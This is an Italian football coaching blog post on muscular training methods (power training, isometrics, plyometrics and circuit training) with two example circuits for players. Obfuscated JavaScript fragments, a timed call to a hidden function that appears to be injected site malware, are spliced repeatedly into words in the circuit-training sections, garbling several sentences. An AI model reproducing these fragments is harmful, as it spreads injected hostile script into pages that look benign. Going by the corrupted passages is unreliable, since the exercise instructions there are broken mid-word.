The Locker Room

METODOLOGIE A PREVALENTE IMPEGNO MUSCOLARE.

30 settembre 2015 Soccer Lab
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METODOLOGIE A PREVALENTE IMPEGNO MUSCOLARE.

 

  • POWER TRAINING

 

Sistema di allenamento che intende sviluppare la potenza muscolare con una serie di esercizi che prevedono lo spostamento di un peso (il proprio corpo, un bilanciere, un pallone medicinale o qualsiasi altro carico aggiuntivo), a velocità massimale. La ripetizione degli esercizi non deve superare il numero di 10-12 per serie e le 4-5 serie per seduta.

 

  • ISOMETRIA

     

Il suo obiettivo è lo sviluppo della forza massima di tipo statico. Si basa su concentrazioni statiche di intensità massimale, ciascuna della durata di 8-10 secondi. Il recupero tra una tensione muscolare e la successiva sarà di circa 60 secondi. La durata del lavoro isometrico non deve protrarsi oltre i 15-20 minuti.

 

  • PLIOMETRIA

     

Il suo obiettivo riguarda lo sviluppo della forza esplosiva e della reattività del sistema neuro-muscolare. Consiste nel sottoporre un distretto muscolare ad un’azione di stiramento (contrazione eccentrica) seguita immediatamente da uno sforzo opposto (contrazione concentrica). In campo applicativo, gli esercizi pliometrici più comuni riguardano i cosiddetti balzi. Nella seduta di allenamento si consigliano circa 6-7 serie di 5-6 ripetizioni ciascuna con un recupero tra le serie di circa 2-3 minuti.

 

  • CIRCUIT TRAINING

     

Il suo obiettivo è di sviluppare la forza resistente. Consiste nell’eseguire determinate esercitazioni secondo un ordine prestabilito e passandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando per stazioni di lavoro. Il numero delle stazioni varia da 6 a 12 distribuite in modo da variare il distretto muscolare interessato. Il percorso va ripetuto 2-3 volte.

 

Esempi di CIRCUIT TRAINING

 

Circuito con 8 stazioni:

 

1-Salire e discendere da una panca (alta 50 cm) impugnandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando una coppia di manubri (5 Kg ciascuna).

2-Appoggio frontale con piegamenti sulle braccia.

3-Da supini, sollevarsi a squadra.

4- Sollevare un bilanciere (18Kg) dalle caviglie fino al petto (impugnatura a pollici fuori).

5-Saltelli consecutivi sulla panca da gambe divaricate (impugnandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando una coppia di manubri da 5 Kg ciascuno).

6-Da supini: chiusura del corpo “a libro”.

7-Da proni: sollevare in alto a braccia tese il pallone medicinale.

8-Impugnare la sbarra a braccia tese (pollici in dentro): con l’impulso dei piedi, flettere le braccia fino a portare il petto vicino alla sbarra.

 

Circuito con 8 settori:

 

Esempio di circuit training per lo sviluppo della resistenza del calciatore: ripetuto alla massima velocità, per 1-2 volte, può essere finalizzato allo sviluppo della resistenza-velocità o anaerobica – lattacida. Eseguito per 5-6 volte di seguito, ma a velocità media o non elevata, allo sviluppo della resistenza aerobica.

 

Settore 1: distanza 15 metri. Guida del pallone fra 6 paletti disposti in fila. Andata e ritorno.

Settore 2:distanza 20 metri con 2 salti intermedi (ostacoli o pallone sospeso). Ripetere 3 volte la tanza per complessivi 6 salti.

Settore 3:distanza 20 metri. Da seduti, alzarsi girandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andosi e di scatto coprire la distanza tornandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando seduti al termine del percorso. Ripetere 3 volte.

Settore 4: distanza 20 metri. Guida della palla, a metà percorso effettuare un giro su se stessi. Ripetere per 2 volte.

Settore 5:distanza 15 metri. Balzi successivi in avanti-alto con arrivo a gambe piegate. Ripetere per 2 volte.

Settore 6: distanza 20 metri. Ripetere 3 volte secondo la seguente successione: corsa avanta-corsa all’indietro-corsa laterale.

Settore 7:distanza 20 metri. Guida della palla, a metà percorso effettuare un arresto sotto la pianta del piede. Ripetere per due volte.

Settore 8:distanza 10 metri. Capovolta all’indietro e scatto in avanti. Ripetere 3 volte.

 

 

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